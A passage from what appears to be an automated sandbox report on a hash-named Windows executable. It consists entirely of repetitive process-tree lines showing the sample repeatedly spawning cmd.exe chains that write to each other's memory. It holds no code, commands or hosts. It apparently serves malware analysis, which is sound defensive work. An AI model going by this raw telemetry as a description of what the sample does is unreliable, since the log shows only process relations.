f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 670 PID 3800 wrote to memory of 6800 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 670 PID 3800 wrote to memory of 6800 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 670 PID 6800 wrote to memory of 6848 6800 cmd.exe 672 PID 6800 wrote to memory of 6848 6800 cmd.exe 672 PID 6800 wrote to memory of 6848 6800 cmd.exe 672 PID 6800 wrote to memory of 6868 6800 cmd.exe 673 PID 6800 wrote to memory of 6868 6800 cmd.exe 673 PID 6800 wrote to memory of 6868 6800 cmd.exe 673 PID 6800 wrote to memory of 6888 6800 cmd.exe 674 PID 6800 wrote to memory of 6888 6800 cmd.exe 674 PID 6800 wrote to memory of 6888 6800 cmd.exe 674 PID 6888 wrote to memory of 6904 6888 cmd.exe 675 PID 6888 wrote to memory of 6904 6888 cmd.exe 675 PID 6888 wrote to memory of 6904 6888 cmd.exe 675 PID 6800 wrote to memory of 6928 6800 cmd.exe 676 PID 6800 wrote to memory of 6928 6800 cmd.exe 676 PID 6800 wrote to memory of 6928 6800 cmd.exe 676 PID 3800 wrote to memory of 6952 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 677 PID 3800 wrote to memory of 6952 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 677 PID 3800 wrote to memory of 6952 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 677 PID 6952 wrote to memory of 7000 6952 cmd.exe 679 PID 6952 wrote to memory of 7000 6952 cmd.exe 679 PID 6952 wrote to memory of 7000 6952 cmd.exe 679 PID 6952 wrote to memory of 7020 6952 cmd.exe 680 PID 6952 wrote to memory of 7020 6952 cmd.exe 680 PID 6952 wrote to memory of 7020 6952 cmd.exe 680 PID 6952 wrote to memory of 7040 6952 cmd.exe 681 PID 6952 wrote to memory of 7040 6952 cmd.exe 681 PID 6952 wrote to memory of 7040 6952 cmd.exe 681 PID 7040 wrote to memory of 7056 7040 cmd.exe 682 PID 7040 wrote to memory of 7056 7040 cmd.exe 682 PID 7040 wrote to memory of 7056 7040 cmd.exe 682 PID 6952 wrote to memory of 7080 6952 cmd.exe 683 PID 6952 wrote to memory of 7080 6952 cmd.exe 683 PID 6952 wrote to memory of 7080 6952 cmd.exe 683 PID 3800 wrote to memory of 7104 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 684 PID 3800 wrote to memory of 7104 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 684 PID 3800 wrote to memory of 7104 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 684 PID 7104 wrote to memory of 7152 7104 cmd.exe 686 PID 7104 wrote to memory of 7152 7104 cmd.exe 686 PID 7104 wrote to memory of 7152 7104 cmd.exe 686 PID 7104 wrote to memory of 6148 7104 cmd.exe 687 PID 7104 wrote to memory of 6148 7104 cmd.exe 687 PID 7104 wrote to memory of 6148 7104 cmd.exe 687 PID 7104 wrote to memory of 5868 7104 cmd.exe 688 PID 7104 wrote to memory of 5868 7104 cmd.exe 688 PID 7104 wrote to memory of 5868 7104 cmd.exe 688 PID 5868 wrote to memory of 6184 5868 cmd.exe 689 PID 5868 wrote to memory of 6184 5868 cmd.exe 689 PID 5868 wrote to memory of 6184 5868 cmd.exe 689 PID 7104 wrote to memory of 5812 7104 cmd.exe 690 PID 7104 wrote to memory of 5812 7104 cmd.exe 690 PID 7104 wrote to memory of 5812 7104 cmd.exe 690 PID 3800 wrote to memory of 6196 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 691 PID 3800 wrote to memory of 6196 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 691 PID 3800 wrote to memory of 6196 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 691 PID 6196 wrote to memory of 6304 6196 cmd.exe 693 PID 6196 wrote to memory of 6304 6196 cmd.exe 693 PID 6196 wrote to memory of 6304 6196 cmd.exe 693 PID 6196 wrote to memory of 6280 6196 cmd.exe 694 PID 6196 wrote to memory of 6280 6196 cmd.exe 694 PID 6196 wrote to memory of 6280 6196 cmd.exe 694 PID 6196 wrote to memory of 6320 6196 cmd.exe 695 PID 6196 wrote to memory of 6320 6196 cmd.exe 695 PID 6196 wrote to memory of 6320 6196 cmd.exe 695 PID 6320 wrote to memory of 6232 6320 cmd.exe 696 PID 6320 wrote to memory of 6232 6320 cmd.exe 696 PID 6320 wrote to memory of 6232 6320 cmd.exe 696 PID 6196 wrote to memory of 6348 6196 cmd.exe 697 PID 6196 wrote to memory of 6348 6196 cmd.exe 697 PID 6196 wrote to memory of 6348 6196 cmd.exe 697 PID 3800 wrote to memory of 6416 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 698 PID 3800 wrote to memory of 6416 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 698 PID 3800 wrote to memory of 6416 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 698 PID 6416 wrote to memory of 6476 6416 cmd.exe 700 PID 6416 wrote to memory of 6476 6416 cmd.exe 700 PID 6416 wrote to memory of 6476 6416 cmd.exe 700 PID 6416 wrote to memory of 6384 6416 cmd.exe 701 PID 6416 wrote to memory of 6384 6416 cmd.exe 701 PID 6416 wrote to memory of 6384 6416 cmd.exe 701 PID 6416 wrote to memory of 6364 6416 cmd.exe 702 PID 6416 wrote to memory of 6364 6416 cmd.exe 702 PID 6416 wrote to memory of 6364 6416 cmd.exe 702 PID 6364 wrote to memory of 6500 6364 cmd.exe 703 PID 6364 wrote to memory of 6500 6364 cmd.exe 703 PID 6364 wrote to memory of 6500 6364 cmd.exe 703 PID 6416 wrote to memory of 6568 6416 cmd.exe 704 PID 6416 wrote to memory of 6568 6416 cmd.exe 704 PID 6416 wrote to memory of 6568 6416 cmd.exe 704 PID 3800 wrote to memory of 6608 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 705 PID 3800 wrote to memory of 6608 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 705 PID 3800 wrote to memory of 6608 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 705 PID 6608 wrote to memory of 6532 6608 cmd.exe 707 PID 6608 wrote to memory of 6532 6608 cmd.exe 707 PID 6608 wrote to memory of 6532 6608 cmd.exe 707 PID 6608 wrote to memory of 6528 6608 cmd.exe 708 PID 6608 wrote to memory of 6528 6608 cmd.exe 708 PID 6608 wrote to memory of 6528 6608 cmd.exe 708 PID 6608 wrote to memory of 6700 6608 cmd.exe 709 PID 6608 wrote to memory of 6700 6608 cmd.exe 709 PID 6608 wrote to memory of 6700 6608 cmd.exe 709 PID 6700 wrote to memory of 6704 6700 cmd.exe 710 PID 6700 wrote to memory of 6704 6700 cmd.exe 710 PID 6700 wrote to memory of 6704 6700 cmd.exe 710 PID 6608 wrote to memory of 6760 6608 cmd.exe 711 PID 6608 wrote to memory of 6760 6608 cmd.exe 711 PID 6608 wrote to memory of 6760 6608 cmd.exe 711 PID 3800 wrote to memory of 6740 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 712 PID 3800 wrote to memory of 6740 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 712 PID 3800 wrote to memory of 6740 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 712 PID 6740 wrote to memory of 6664 6740 cmd.exe 714 PID 6740 wrote to memory of 6664 6740 cmd.exe 714 PID 6740 wrote to memory of 6664 6740 cmd.exe 714 PID 6740 wrote to memory of 6852 6740 cmd.exe 715 PID 6740 wrote to memory of 6852 6740 cmd.exe 715 PID 6740 wrote to memory of 6852 6740 cmd.exe 715 PID 6740 wrote to memory of 6896 6740 cmd.exe 716 PID 6740 wrote to memory of 6896 6740 cmd.exe 716 PID 6740 wrote to memory of 6896 6740 cmd.exe 716 PID 6896 wrote to memory of 6920 6896 cmd.exe 717 PID 6896 wrote to memory of 6920 6896 cmd.exe 717 PID 6896 wrote to memory of 6920 6896 cmd.exe 717 PID 6740 wrote to memory of 6948 6740 cmd.exe 718 PID 6740 wrote to memory of 6948 6740 cmd.exe 718 PID 6740 wrote to memory of 6948 6740 cmd.exe 718 PID 3800 wrote to memory of 6832 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 719 PID 3800 wrote to memory of 6832 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 719 PID 3800 wrote to memory of 6832 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 719 PID 6832 wrote to memory of 7028 6832 cmd.exe 721 PID 6832 wrote to memory of 7028 6832 cmd.exe 721 PID 6832 wrote to memory of 7028 6832 cmd.exe 721 PID 6832 wrote to memory of 7064 6832 cmd.exe 722 PID 6832 wrote to memory of 7064 6832 cmd.exe 722 PID 6832 wrote to memory of 7064 6832 cmd.exe 722 PID 6832 wrote to memory of 7052 6832 cmd.exe 723 PID 6832 wrote to memory of 7052 6832 cmd.exe 723 PID 6832 wrote to memory of 7052 6832 cmd.exe 723 PID 7052 wrote to memory of 7084 7052 cmd.exe 724 PID 7052 wrote to memory of 7084 7052 cmd.exe 724 PID 7052 wrote to memory of 7084 7052 cmd.exe 724 PID 6832 wrote to memory of 6984 6832 cmd.exe 725 PID 6832 wrote to memory of 6984 6832 cmd.exe 725 PID 6832 wrote to memory of 6984 6832 cmd.exe 725 PID 3800 wrote to memory of 7112 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 726 PID 3800 wrote to memory of 7112 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 726 PID 3800 wrote to memory of 7112 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 726 PID 7112 wrote to memory of 5752 7112 cmd.exe 728 PID 7112 wrote to memory of 5752 7112 cmd.exe 728 PID 7112 wrote to memory of 5752 7112 cmd.exe 728 PID 7112 wrote to memory of 6176 7112 cmd.exe 729 PID 7112 wrote to memory of 6176 7112 cmd.exe 729 PID 7112 wrote to memory of 6176 7112 cmd.exe 729 PID 7112 wrote to memory of 5124 7112 cmd.exe 730 PID 7112 wrote to memory of 5124 7112 cmd.exe 730 PID 7112 wrote to memory of 5124 7112 cmd.exe 730 PID 5124 wrote to memory of 7144 5124 cmd.exe 731 PID 5124 wrote to memory of 7144 5124 cmd.exe 731 PID 5124 wrote to memory of 7144 5124 cmd.exe 731 PID 7112 wrote to memory of 7116 7112 cmd.exe 732 PID 7112 wrote to memory of 7116 7112 cmd.exe 732 PID 7112 wrote to memory of 7116 7112 cmd.exe 732 PID 3800 wrote to memory of 6312 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 733 PID 3800 wrote to memory of 6312 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 733 PID 3800 wrote to memory of 6312 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 733 PID 6312 wrote to memory of 6220 6312 cmd.exe 735 PID 6312 wrote to memory of 6220 6312 cmd.exe 735 PID 6312 wrote to memory of 6220 6312 cmd.exe 735 PID 6312 wrote to memory of 6400 6312 cmd.exe 736 PID 6312 wrote to memory of 6400 6312 cmd.exe 736 PID 6312 wrote to memory of 6400 6312 cmd.exe 736 PID 6312 wrote to memory of 6204 6312 cmd.exe 737 PID 6312 wrote to memory of 6204 6312 cmd.exe 737 PID 6312 wrote to memory of 6204 6312 cmd.exe 737 PID 6204 wrote to memory of 6252 6204 cmd.exe 738 PID 6204 wrote to memory of 6252 6204 cmd.exe 738 PID 6204 wrote to memory of 6252 6204 cmd.exe 738 PID 6312 wrote to memory of 6484 6312 cmd.exe 739 PID 6312 wrote to memory of 6484 6312 cmd.exe 739 PID 6312 wrote to memory of 6484 6312 cmd.exe 739 PID 3800 wrote to memory of 6548 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 740 PID 3800 wrote to memory of 6548 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 740 PID 3800 wrote to memory of 6548 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 740 PID 6548 wrote to memory of 6464 6548 cmd.exe 742 PID 6548 wrote to memory of 6464 6548 cmd.exe 742 PID 6548 wrote to memory of 6464 6548 cmd.exe 742 PID 6548 wrote to memory of 6452 6548 cmd.exe 743 PID 6548 wrote to memory of 6452 6548 cmd.exe 743 PID 6548 wrote to memory of 6452 6548 cmd.exe 743 PID 6548 wrote to memory of 6516 6548 cmd.exe 744 PID 6548 wrote to memory of 6516 6548 cmd.exe 744 PID 6548 wrote to memory of 6516 6548 cmd.exe 744 PID 6516 wrote to memory of 4792 6516 cmd.exe 745 PID 6516 wrote to memory of 4792 6516 cmd.exe 745 PID 6516 wrote to memory of 4792 6516 cmd.exe 745 PID 6548 wrote to memory of 6720 6548 cmd.exe 746 PID 6548 wrote to memory of 6720 6548 cmd.exe 746 PID 6548 wrote to memory of 6720 6548 cmd.exe 746 PID 3800 wrote to memory of 6772 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 747 PID 3800 wrote to memory of 6772 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 747 PID 3800 wrote to memory of 6772 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 747 PID 6772 wrote to memory of 6584 6772 cmd.exe 749 PID 6772 wrote to memory of 6584 6772 cmd.exe 749 PID 6772 wrote to memory of 6584 6772 cmd.exe 749 PID 6772 wrote to memory of 6856 6772 cmd.exe 750 PID 6772 wrote to memory of 6856 6772 cmd.exe 750 PID 6772 wrote to memory of 6856 6772 cmd.exe 750 PID 6772 wrote to memory of 6876 6772 cmd.exe 751 PID 6772 wrote to memory of 6876 6772 cmd.exe 751 PID 6772 wrote to memory of 6876 6772 cmd.exe 751 PID 6876 wrote to memory of 6892 6876 cmd.exe 752 PID 6876 wrote to memory of 6892 6876 cmd.exe 752 PID 6876 wrote to memory of 6892 6876 cmd.exe 752 PID 6772 wrote to memory of 6932 6772 cmd.exe 753 PID 6772 wrote to memory of 6932 6772 cmd.exe 753 PID 6772 wrote to memory of 6932 6772 cmd.exe 753 PID 3800 wrote to memory of 6672 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 754 PID 3800 wrote to memory of 6672 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 754 PID 3800 wrote to memory of 6672 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 754 PID 6672 wrote to memory of 7036 6672 cmd.exe 756 PID 6672 wrote to memory of 7036 6672 cmd.exe 756 PID 6672 wrote to memory of 7036 6672 cmd.exe 756 PID 6672 wrote to memory of 7068 6672 cmd.exe 757 PID 6672 wrote to memory of 7068 6672 cmd.exe 757 PID 6672 wrote to memory of 7068 6672 cmd.exe 757 PID 6672 wrote to memory of 6980 6672 cmd.exe 758 PID 6672 wrote to memory of 6980 6672 cmd.exe 758 PID 6672 wrote to memory of 6980 6672 cmd.exe 758 PID 6980 wrote to memory of 6976 6980 cmd.exe 759 PID 6980 wrote to memory of 6976 6980 cmd.exe 759 PID 6980 wrote to memory of 6976 6980 cmd.exe 759 PID 6672 wrote to memory of 7004 6672 cmd.exe 760 PID 6672 wrote to memory of 7004 6672 cmd.exe 760 PID 6672 wrote to memory of 7004 6672 cmd.exe 760 PID 3800 wrote to memory of 6812 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 761 PID 3800 wrote to memory of 6812 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 761 PID 3800 wrote to memory of 6812 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 761 PID 6812 wrote to memory of 7132 6812 cmd.exe 763 PID 6812 wrote to memory of 7132 6812 cmd.exe 763 PID 6812 wrote to memory of 7132 6812 cmd.exe 763 PID 6812 wrote to memory of 7136 6812 cmd.exe 764 PID 6812 wrote to memory of 7136 6812 cmd.exe 764 PID 6812 wrote to memory of 7136 6812 cmd.exe 764 PID 6812 wrote to memory of 6288 6812 cmd.exe 765 PID 6812 wrote to memory of 6288 6812 cmd.exe 765 PID 6812 wrote to memory of 6288 6812 cmd.exe 765 PID 6288 wrote to memory of 5428 6288 cmd.exe 766 PID 6288 wrote to memory of 5428 6288 cmd.exe 766 PID 6288 wrote to memory of 5428 6288 cmd.exe 766 PID 6812 wrote to memory of 3468 6812 cmd.exe 767 PID 6812 wrote to memory of 3468 6812 cmd.exe 767 PID 6812 wrote to memory of 3468 6812 cmd.exe 767 PID 3800 wrote to memory of 6284 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 768 PID 3800 wrote to memory of 6284 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 768 PID 3800 wrote to memory of 6284 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 768 PID 6284 wrote to memory of 6372 6284 cmd.exe 770 PID 6284 wrote to memory of 6372 6284 cmd.exe 770 PID 6284 wrote to memory of 6372 6284 cmd.exe 770 PID 6284 wrote to memory of 6224 6284 cmd.exe 771 PID 6284 wrote to memory of 6224 6284 cmd.exe 771 PID 6284 wrote to memory of 6224 6284 cmd.exe 771 PID 6284 wrote to memory of 6212 6284 cmd.exe 772 PID 6284 wrote to memory of 6212 6284 cmd.exe 772 PID 6284 wrote to memory of 6212 6284 cmd.exe 772 PID 6212 wrote to memory of 6508 6212 cmd.exe 773 PID 6212 wrote to memory of 6508 6212 cmd.exe 773 PID 6212 wrote to memory of 6508 6212 cmd.exe 773 PID 6284 wrote to memory of 6612 6284 cmd.exe 774 PID 6284 wrote to memory of 6612 6284 cmd.exe 774 PID 6284 wrote to memory of 6612 6284 cmd.exe 774 PID 3800 wrote to memory of 6652 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 775 PID 3800 wrote to memory of 6652 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 775 PID 3800 wrote to memory of 6652 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 775 PID 6652 wrote to memory of 6588 6652 cmd.exe 777 PID 6652 wrote to memory of 6588 6652 cmd.exe 777 PID 6652 wrote to memory of 6588 6652 cmd.exe 777 PID 6652 wrote to memory of 6376 6652 cmd.exe 778 PID 6652 wrote to memory of 6376 6652 cmd.exe 778 PID 6652 wrote to memory of 6376 6652 cmd.exe 778 PID 6652 wrote to memory of 6600 6652 cmd.exe 779 PID 6652 wrote to memory of 6600 6652 cmd.exe 779 PID 6652 wrote to memory of 6600 6652 cmd.exe 779 PID 6600 wrote to memory of 6872 6600 cmd.exe 780 PID 6600 wrote to memory of 6872 6600 cmd.exe 780 PID 6600 wrote to memory of 6872 6600 cmd.exe 780 PID 6652 wrote to memory of 6940 6652 cmd.exe 781 PID 6652 wrote to memory of 6940 6652 cmd.exe 781 PID 6652 wrote to memory of 6940 6652 cmd.exe 781 PID 3800 wrote to memory of 6840 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 782 PID 3800 wrote to memory of 6840 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 782 PID 3800 wrote to memory of 6840 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 782 PID 6840 wrote to memory of 6748 6840 cmd.exe 784 PID 6840 wrote to memory of 6748 6840 cmd.exe 784 PID 6840 wrote to memory of 6748 6840 cmd.exe 784 PID 6840 wrote to memory of 7032 6840 cmd.exe 785 PID 6840 wrote to memory of 7032 6840 cmd.exe 785 PID 6840 wrote to memory of 7032 6840 cmd.exe 785 PID 6840 wrote to memory of 6996 6840 cmd.exe 786 PID 6840 wrote to memory of 6996 6840 cmd.exe 786 PID 6840 wrote to memory of 6996 6840 cmd.exe 786 PID 6996 wrote to memory of 6988 6996 cmd.exe 787 PID 6996 wrote to memory of 6988 6996 cmd.exe 787 PID 6996 wrote to memory of 6988 6996 cmd.exe 787 PID 6840 wrote to memory of 6804 6840 cmd.exe 788 PID 6840 wrote to memory of 6804 6840 cmd.exe 788 PID 6840 wrote to memory of 6804 6840 cmd.exe 788 PID 3800 wrote to memory of 6824 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 789 PID 3800 wrote to memory of 6824 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 789 PID 3800 wrote to memory of 6824 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 789 PID 6824 wrote to memory of 7108 6824 cmd.exe 791 PID 6824 wrote to memory of 7108 6824 cmd.exe 791 PID 6824 wrote to memory of 7108 6824 cmd.exe 791 PID 6824 wrote to memory of 6168 6824 cmd.exe 792 PID 6824 wrote to memory of 6168 6824 cmd.exe 792 PID 6824 wrote to memory of 6168 6824 cmd.exe 792 PID 6824 wrote to memory of 6152 6824 cmd.exe 793 PID 6824 wrote to memory of 6152 6824 cmd.exe 793 PID 6824 wrote to memory of 6152 6824 cmd.exe 793 PID 6152 wrote to memory of 6404 6152 cmd.exe 794 PID 6152 wrote to memory of 6404 6152 cmd.exe 794 PID 6152 wrote to memory of 6404 6152 cmd.exe 794 PID 6824 wrote to memory of 6028 6824 cmd.exe 795 PID 6824 wrote to memory of 6028 6824 cmd.exe 795 PID 6824 wrote to memory of 6028 6824 cmd.exe 795 PID 3800 wrote to memory of 5488 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 796 PID 3800 wrote to memory of 5488 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 796 PID 3800 wrote to memory of 5488 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 796 PID 5488 wrote to memory of 6216 5488 cmd.exe 798 PID 5488 wrote to memory of 6216 5488 cmd.exe 798 PID 5488 wrote to memory of 6216 5488 cmd.exe 798 PID 5488 wrote to memory of 6556 5488 cmd.exe 799 PID 5488 wrote to memory of 6556 5488 cmd.exe 799 PID 5488 wrote to memory of 6556 5488 cmd.exe 799 PID 5488 wrote to memory of 6512 5488 cmd.exe 800 PID 5488 wrote to memory of 6512 5488 cmd.exe 800 PID 5488 wrote to memory of 6512 5488 cmd.exe 800 PID 6512 wrote to memory of 6264 6512 cmd.exe 801 PID 6512 wrote to memory of 6264 6512 cmd.exe 801 PID 6512 wrote to memory of 6264 6512 cmd.exe 801 PID 5488 wrote to memory of 6472 5488 cmd.exe 802 PID 5488 wrote to memory of 6472 5488 cmd.exe 802 PID 5488 wrote to memory of 6472 5488 cmd.exe 802 PID 3800 wrote to memory of 6352 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 803 PID 3800 wrote to memory of 6352 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 803 PID 3800 wrote to memory of 6352 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 803 PID 6352 wrote to memory of 6816 6352 cmd.exe 805 PID 6352 wrote to memory of 6816 6352 cmd.exe 805 PID 6352 wrote to memory of 6816 6352 cmd.exe 805 PID 6352 wrote to memory of 6828 6352 cmd.exe 806 PID 6352 wrote to memory of 6828 6352 cmd.exe 806 PID 6352 wrote to memory of 6828 6352 cmd.exe 806 PID 6352 wrote to memory of 6724 6352 cmd.exe 807 PID 6352 wrote to memory of 6724 6352 cmd.exe 807 PID 6352 wrote to memory of 6724 6352 cmd.exe 807 PID 6724 wrote to memory of 6696 6724 cmd.exe 808 PID 6724 wrote to memory of 6696 6724 cmd.exe 808 PID 6724 wrote to memory of 6696 6724 cmd.exe 808 PID 6352 wrote to memory of 7072 6352 cmd.exe 809 PID 6352 wrote to memory of 7072 6352 cmd.exe 809 PID 6352 wrote to memory of 7072 6352 cmd.exe 809 PID 3800 wrote to memory of 7100 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 810 PID 3800 wrote to memory of 7100 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 810 PID 3800 wrote to memory of 7100 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 810 PID 7100 wrote to memory of 7048 7100 cmd.exe 812 PID 7100 wrote to memory of 7048 7100 cmd.exe 812 PID 7100 wrote to memory of 7048 7100 cmd.exe 812 PID 7100 wrote to memory of 6768 7100 cmd.exe 813 PID 7100 wrote to memory of 6768 7100 cmd.exe 813 PID 7100 wrote to memory of 6768 7100 cmd.exe 813 PID 7100 wrote to memory of 6628 7100 cmd.exe 814 PID 7100 wrote to memory of 6628 7100 cmd.exe 814 PID 7100 wrote to memory of 6628 7100 cmd.exe 814 PID 6628 wrote to memory of 2752 6628 cmd.exe 815 PID 6628 wrote to memory of 2752 6628 cmd.exe 815 PID 6628 wrote to memory of 2752 6628 cmd.exe 815 PID 7100 wrote to memory of 3764 7100 cmd.exe 816 PID 7100 wrote to memory of 3764 7100 cmd.exe 816 PID 7100 wrote to memory of 3764 7100 cmd.exe 816 PID 3800 wrote to memory of 6160 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 817 PID 3800 wrote to memory of 6160 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 817 PID 3800 wrote to memory of 6160 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 817 PID 6160 wrote to memory of 5772 6160 cmd.exe 819 PID 6160 wrote to memory of 5772 6160 cmd.exe 819 PID 6160 wrote to memory of 5772 6160 cmd.exe 819 PID 6160 wrote to memory of 7160 6160 cmd.exe 820 PID 6160 wrote to memory of 7160 6160 cmd.exe 820 PID 6160 wrote to memory of 7160 6160 cmd.exe 820 PID 6160 wrote to memory of 7128 6160 cmd.exe 821 PID 6160 wrote to memory of 7128 6160 cmd.exe 821 PID 6160 wrote to memory of 7128 6160 cmd.exe 821 PID 7128 wrote to memory of 6360 7128 cmd.exe 822 PID 7128 wrote to memory of 6360 7128 cmd.exe 822 PID 7128 wrote to memory of 6360 7128 cmd.exe 822 PID 6160 wrote to memory of 6592 6160 cmd.exe 823 PID 6160 wrote to memory of 6592 6160 cmd.exe 823 PID 6160 wrote to memory of 6592 6160 cmd.exe 823 PID 3800 wrote to memory of 6240 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 824 PID 3800 wrote to memory of 6240 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 824 PID 3800 wrote to memory of 6240 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 824 PID 6240 wrote to memory of 6228 6240 cmd.exe 826 PID 6240 wrote to memory of 6228 6240 cmd.exe 826 PID 6240 wrote to memory of 6228 6240 cmd.exe 826 PID 6240 wrote to memory of 6192 6240 cmd.exe 827 PID 6240 wrote to memory of 6192 6240 cmd.exe 827 PID 6240 wrote to memory of 6192 6240 cmd.exe 827 PID 6240 wrote to memory of 6900 6240 cmd.exe 828 PID 6240 wrote to memory of 6900 6240 cmd.exe 828 PID 6240 wrote to memory of 6900 6240 cmd.exe 828 PID 6900 wrote to memory of 6744 6900 cmd.exe 829 PID 6900 wrote to memory of 6744 6900 cmd.exe 829 PID 6900 wrote to memory of 6744 6900 cmd.exe 829 PID 6240 wrote to memory of 1980 6240 cmd.exe 830 PID 6240 wrote to memory of 1980 6240 cmd.exe 830 PID 6240 wrote to memory of 1980 6240 cmd.exe 830 PID 3800 wrote to memory of 6660 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 831 PID 3800 wrote to memory of 6660 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 831 PID 3800 wrote to memory of 6660 3800 